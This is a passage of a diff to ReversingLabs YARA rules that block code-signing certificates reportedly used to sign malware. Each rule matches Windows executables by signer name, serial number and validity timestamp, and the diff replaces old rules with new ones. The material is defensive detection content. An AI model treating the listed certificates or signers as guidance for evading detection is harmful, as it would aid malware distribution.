<= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lpr:n Laatu-Ravintolat Oy" and pe.signatures [ i ] . serial == "33:84:83:cc:17:4c:16:eb:c4:54:a3:80:3f:fd:42:17" and 1635208206 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_123A5074069162F4Ed68Fc7D48F464C2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Be89936C26Cd0D845074F6B7B47F480C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "601ddd98-8cd5-5c52-a59a-d4a0556fc316" + id = "3ff8149b-4a90-5593-b12a-d815b04fce7e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15720-L15736" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9822-L9840" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f55835c7404edab96bc5c8fe3844f3380f1f6bc8b43da1d51213de899629e8f5" + logic_hash = "348df24620bfe6322c410cb593f5caad67492b0b5af234ee89b0411beb4b48f9" score = 75 quality = 90 tags = "INFO, FILE" @@ -27989,21 +50383,21 @@ rule REVERSINGLABS_Cert_Blocklist_123A5074069162F4Ed68Fc7D48F464C2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "12:3a:50:74:06:91:62:f4:ed:68:fc:7d:48:f4:64:c2" and 1472428800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Argus Security Maintenance Systems Inc." and ( pe.signatures [ i ] . serial == "00:be:89:93:6c:26:cd:0d:84:50:74:f6:b7:b4:7f:48:0c" or pe.signatures [ i ] . serial == "be:89:93:6c:26:cd:0d:84:50:74:f6:b7:b4:7f:48:0c" ) and 1634235015 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_64Eb04B8Def382B5Efa75F63E0E85Ad0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F20A5155E53Ce20Bb644F646Ed6A2Fd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5f4da614-3bc8-5ae8-b04b-e4b3972522ff" + id = "d52066d5-9bc1-5f72-8e97-7efda88c14b2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15738-L15754" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9842-L9858" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03adb8a9bf2a8f0633b34d5c39816b47e60b9e598208f7de79ad9d9a7ab8cc5e" + logic_hash = "70d57f2c24d4ae6f17339bfb998589a3b10f5dd4b19ac8a5bc99e082145c4ed0" score = 75 quality = 90 tags = "INFO, FILE" @@ -28013,21 +50407,21 @@ rule REVERSINGLABS_Cert_Blocklist_64Eb04B8Def382B5Efa75F63E0E85Ad0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV \"MARIYA\"" and pe.signatures [ i ] . serial == "64:eb:04:b8:de:f3:82:b5:ef:a7:5f:63:e0:e8:5a:d0" and 1535587200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CB CAM SP Z O O" and pe.signatures [ i ] . serial == "0f:20:a5:15:5e:53:ce:20:bb:64:4f:64:6e:d6:a2:fd" and 1635196200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_76D8D908Eed2F9857Dc5676A680Ceac9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7eae73e-6b12-5507-846e-d3b409243adf" + id = "8e059a2a-c436-5247-b395-a2f594c1c9a9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15756-L15772" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9860-L9878" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "87f9930967d5832d3003672eeb89669b54feed1ca2ea5eec478c50e3cb7a7571" + logic_hash = "a18d1c1e5e22c1aa041a4b2d23d2aefcbedbd3517a079d578e1a143ecadb4533" score = 75 quality = 90 tags = "INFO, FILE" @@ -28037,21 +50431,21 @@ rule REVERSINGLABS_Cert_Blocklist_76D8D908Eed2F9857Dc5676A680Ceac9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "76:d8:d9:08:ee:d2:f9:85:7d:c5:67:6a:68:0c:ea:c9" and 1467158400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Postmarket LLC" and ( pe.signatures [ i ] . serial == "00:ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" or pe.signatures [ i ] . serial == "ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" ) and 1635153791 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_083E3F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ba67B0De51Ebb9B1179804E75357Ab26 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b9a1b1a7-2333-5a6f-85c9-6c19d34c4aa4" + id = "63938a97-2cb3-52b0-9717-c8949e3fae46" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15774-L15790" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9880-L9898" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6977d48a2e31235d780cba1b84b39a90e409ee8ea5555e01cbc34989ecd3882d" + logic_hash = "69b9012fc4ab9636d159de49ff452f054030c1157cf70a95512b2a0748dad7c0" score = 75 quality = 90 tags = "INFO, FILE" @@ -28061,21 +50455,21 @@ rule REVERSINGLABS_Cert_Blocklist_083E3F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Telefonicasa" and pe.signatures [ i ] . serial == "08:3e:3f" and 999002664 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fjordland Bike Wear ApS" and ( pe.signatures [ i ] . serial == "00:ba:67:b0:de:51:eb:b9:b1:17:98:04:e7:53:57:ab:26" or pe.signatures [ i ] . serial == "ba:67:b0:de:51:eb:b9:b1:17:98:04:e7:53:57:ab:26" ) and 1636145940 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_79227311Acdd575759198Dbd3544Cca7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cff2B275Ba8A1Dde83Ac7Ff858399A62 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "350f7c25-f20f-5e8f-aa52-163cf3de3be1" + id = "50cc539a-1f00-566d-a83f-b4d8459506d8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15792-L15808" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9900-L9918" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73e920d51faf7150329ce189d1693c29a2285a02d54fee27e5af5afe3238295b" + logic_hash = "d37e1d94048339a86b8fa173d3ab753fc5e79329b73df9fda5815cd622c57745" score = 75 quality = 90 tags = "INFO, FILE" @@ -28085,21 +50479,21 @@ rule REVERSINGLABS_Cert_Blocklist_79227311Acdd575759198Dbd3544Cca7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "79:22:73:11:ac:dd:57:57:59:19:8d:bd:35:44:cc:a7" and 1478131200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XL-FORCE ApS" and ( pe.signatures [ i ] . serial == "00:cf:f2:b2:75:ba:8a:1d:de:83:ac:7f:f8:58:39:9a:62" or pe.signatures [ i ] . serial == "cf:f2:b2:75:ba:8a:1d:de:83:ac:7f:f8:58:39:9a:62" ) and 1636111842 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_13Ae38C9Ae21A8576C0D024D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D22E026C5B5966F1Cf6Ef00A7C06682E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "416c5eb3-bc6d-5fb0-a7fe-58cdd6c7c39d" + id = "a72a0001-a272-506d-b610-c028ed8ac6da" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15810-L15826" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9920-L9938" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7be892eaf9e2e31442f7ef5ffd296dd17696d6c95d20eb2758ede2c553b05f38" + logic_hash = "33a05d46b40ffdf49bfa5facca41ebdf6bedcabc1cb1f5b9bf2d043ad1c869b0" score = 75 quality = 90 tags = "INFO, FILE" @@ -28109,21 +50503,21 @@ rule REVERSINGLABS_Cert_Blocklist_13Ae38C9Ae21A8576C0D024D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "13:ae:38:c9:ae:21:a8:57:6c:0d:02:4d" and 1475062802 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT, LLC" and ( pe.signatures [ i ] . serial == "00:d2:2e:02:6c:5b:59:66:f1:cf:6e:f0:0a:7c:06:68:2e" or pe.signatures [ i ] . serial == "d2:2e:02:6c:5b:59:66:f1:cf:6e:f0:0a:7c:06:68:2e" ) and 1636456620 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_557B0Abf44045827F1F36Efbc96271Ec : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3054F940C931Bad7B238A24376C6A5Cc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64db0b43-b73f-594d-9f04-2cdf76df7c9b" + id = "e5643d08-5957-58b0-8b46-d5e339dfba9c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15828-L15844" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9940-L9956" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "633e8d6b44d62443d991738fa82b9742ac5634051bba5d0cdb3d6b35d66bdc8f" + logic_hash = "21c8e8f10d1e4b9eb917c86ac868de2afcd5776a9c1d59149df1d07d8c3e14b9" score = 75 quality = 90 tags = "INFO, FILE" @@ -28133,21 +50527,21 @@ rule REVERSINGLABS_Cert_Blocklist_557B0Abf44045827F1F36Efbc96271Ec : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "55:7b:0a:bf:44:04:58:27:f1:f3:6e:fb:c9:62:71:ec" and 1480291200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POLE CLEAN LTD" and pe.signatures [ i ] . serial == "30:54:f9:40:c9:31:ba:d7:b2:38:a2:43:76:c6:a5:cc" and 1637030220 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7903870184E18A80899740845A15E2B2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A617E23D6Ca8F34E2F7413Cd299Fc72B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a55bed5b-906f-5c9d-bddd-b4d53d6351de" + id = "3ffb592c-eec5-51b1-9840-b6b72269fc31" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15846-L15862" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9958-L9976" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ad32491b463d0b3b4c85ed78e81bb69802e5f90ae835f73e270b28f02b36f840" + logic_hash = "f307a0b598f0876c003aa43db50e024698b6f93931e626c085f98553c14ec2ae" score = 75 quality = 90 tags = "INFO, FILE" @@ -28157,21 +50551,21 @@ rule REVERSINGLABS_Cert_Blocklist_7903870184E18A80899740845A15E2B2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Qool Aid, LLC" and pe.signatures [ i ] . serial == "79:03:87:01:84:e1:8a:80:89:97:40:84:5a:15:e2:b2" and 1079654400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXPRESS BOOKS LTD" and ( pe.signatures [ i ] . serial == "00:a6:17:e2:3d:6c:a8:f3:4e:2f:74:13:cd:29:9f:c7:2b" or pe.signatures [ i ] . serial == "a6:17:e2:3d:6c:a8:f3:4e:2f:74:13:cd:29:9f:c7:2b" ) and 1636971821 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5Fba9B373F812C16Aef531D4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "129e981a-064a-5930-bd45-d03ed008451c" + id = "2f4a26f2-689a-57bd-8028-d3554e339e60" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15864-L15880" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9978-L9994" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8b7340359778e3aa56f6ea300973af74eb77efd54108d2ca2b6b8f04d89a1c39" + logic_hash = "2377eeb5316d25752443735e78d0ad7de398a2677f5a0fd45fd6e6c87720d49b" score = 75 quality = 90 tags = "INFO, FILE" @@ -28181,21 +50575,21 @@ rule REVERSINGLABS_Cert_Blocklist_5Fba9B373F812C16Aef531D4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5f:ba:9b:37:3f:81:2c:16:ae:f5:31:d4" and 1473329076 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ULTRA ACADEMY LTD" and pe.signatures [ i ] . serial == "38:7e:eb:89:b8:bf:62:6b:bf:4c:7c:9f:5b:99:8b:40" and 1637141034 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_616A5205238590B01D7B761E444E4Ad9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_292Eb1133507F42E6F36C5549C189D5E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "09e9e481-c767-53d3-9af1-11dec636cafb" + id = "b557864d-c573-5789-9959-8df3036d5ac5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15882-L15898" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9996-L10012" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "463ccd3ace9021569a7a6d5fcbaadf34b15d2b07baf3df526b271b547cf2bbc5" + logic_hash = "bc3ef217455b74900cae114d25b02325d2bef25c11873342df1dd2369cbce76a" score = 75 quality = 90 tags = "INFO, FILE" @@ -28205,21 +50599,21 @@ rule REVERSINGLABS_Cert_Blocklist_616A5205238590B01D7B761E444E4Ad9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lerges" and pe.signatures [ i ] . serial == "61:6a:52:05:23:85:90:b0:1d:7b:76:1e:44:4e:4a:d9" and 1421452800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Affairs-case s.r.o." and pe.signatures [ i ] . serial == "29:2e:b1:13:35:07:f4:2e:6f:36:c5:54:9c:18:9d:5e" and 1638832273 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_29Be2278113Dd062Eadca32De6B242D0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5Fbf16A33D26390A15F046C310030Cf0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a2dfd6e0-4475-537a-859e-126dd4a02af7" + id = "620c04df-e613-5319-aa00-646c7e0c8031" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15900-L15916" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10014-L10030" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3df7afba9eda9022a64647ce2a91119d0bdf6fe5b164a1e82b1819409024fbee" + logic_hash = "24bee3563e0867ef6702e7f57bbce7075f766410650ae5ce1e2e8c7b14a3eaca" score = 75 quality = 90 tags = "INFO, FILE" @@ -28229,21 +50623,21 @@ rule REVERSINGLABS_Cert_Blocklist_29Be2278113Dd062Eadca32De6B242D0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BLADES" and pe.signatures [ i ] . serial == "29:be:22:78:11:3d:d0:62:ea:dc:a3:2d:e6:b2:42:d0" and 1536883200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MACHINES SATU MARE SRL" and pe.signatures [ i ] . serial == "5f:bf:16:a3:3d:26:39:0a:15:f0:46:c3:10:03:0c:f0" and 1638390070 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_05F70A557Afd4A443F44D0Baf0Bc8C60 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F007898Afcba5F8Af8Ae65D01803617 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9ce5b6c7-fede-508f-a7d0-f9d0b8838645" + id = "6678bd73-bf4d-5576-8bf2-b721ee288da7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15918-L15934" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10032-L10048" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3945f515b65ca3ffb6c2b64c884bb2790d703a277e1a5ba128c81bc63ed20a25" + logic_hash = "27610bb3bf069991803611474abf44a3bf82fc9283d0412a1c24ae46a3f5352e" score = 75 quality = 90 tags = "INFO, FILE" @@ -28253,21 +50647,21 @@ rule REVERSINGLABS_Cert_Blocklist_05F70A557Afd4A443F44D0Baf0Bc8C60 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "05:f7:0a:55:7a:fd:4a:44:3f:44:d0:ba:f0:bc:8c:60" and 1477440000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TechnoElek s.r.o." and pe.signatures [ i ] . serial == "0f:00:78:98:af:cb:a5:f8:af:8a:e6:5d:01:80:36:17" and 1638372946 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4E0665D61997072294A70C662F72Eae3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E55Be88Ddbd93C423220468D430905Dd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1370a3b5-a254-5197-ac85-5b33e8d9fa38" + id = "37e60515-0395-51a5-8bfa-35e3e336d60c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15936-L15952" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10050-L10068" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f07cdfd522db0a92fe1dba30f158b2c89bb5424bdcdfda50ae42fcfddeac19ba" + logic_hash = "05b2f297454e7080591b85991b224193eb89fc5074eb3c2e484ceadad2de4cb7" score = 75 quality = 90 tags = "INFO, FILE" @@ -28277,21 +50671,21 @@ rule REVERSINGLABS_Cert_Blocklist_4E0665D61997072294A70C662F72Eae3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "4e:06:65:d6:19:97:07:22:94:a7:0c:66:2f:72:ea:e3" and 1474502400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALVE ACTUATION LTD" and ( pe.signatures [ i ] . serial == "00:e5:5b:e8:8d:db:d9:3c:42:32:20:46:8d:43:09:05:dd" or pe.signatures [ i ] . serial == "e5:5b:e8:8d:db:d9:3c:42:32:20:46:8d:43:09:05:dd" ) and 1637712000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_74702Dff5D4056B847D009A2265Fb1B3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06Bcb74291D96096577Bdb1E165Dce85 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "55f1e321-ce70-519a-9a39-4278162edbef" + id = "da483b60-d400-54ef-84e0-ea00b299b466" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15954-L15970" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10070-L10086" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8acc57bbf334a48043dbee6fab7b7a54a44801b2ccd0ccd9d14194689c75c021" + logic_hash = "00b7ff8f3cbc04c48c71433c384d7a7884b856f261850e33ea4413a12cf5a1b5" score = 75 quality = 90 tags = "INFO, FILE" @@ -28301,21 +50695,21 @@ rule REVERSINGLABS_Cert_Blocklist_74702Dff5D4056B847D009A2265Fb1B3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shulan Hou" and pe.signatures [ i ] . serial == "74:70:2d:ff:5d:40:56:b8:47:d0:09:a2:26:5f:b1:b3" and 1469664000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Revo Security SRL" and pe.signatures [ i ] . serial == "06:bc:b7:42:91:d9:60:96:57:7b:db:1e:16:5d:ce:85" and 1637971201 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_353B1Cf7866Ee0B0Acdd532D0Bb1A220 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C8442A8185082Ef1Ed7Dc3Fff2176Aa7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "20b95b80-94a9-51c3-9c6c-2a0ef75b0c0b" + id = "2a56ff80-584b-5b8b-80ae-e763339cd17a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15972-L15988" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10088-L10106" license_url = 